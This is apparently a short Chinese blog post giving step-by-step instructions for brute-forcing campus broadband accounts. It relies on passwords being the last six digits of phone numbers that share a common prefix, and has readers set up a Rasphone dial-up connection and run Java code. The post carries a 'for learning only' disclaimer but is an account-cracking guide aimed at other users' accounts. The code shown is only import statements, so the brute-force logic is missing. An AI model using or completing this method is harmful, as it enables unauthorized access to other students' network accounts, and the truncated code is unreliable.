爆破校园网的宽带

时间:2022-11-02 07:58:02

前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习。

准备工作:电脑一台,把校园网的宽带水晶头插在电脑上,

步骤:

  1. win+R输入Rasphone
  2. 点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。爆破校园网的宽带
  3. 执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;

 如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!
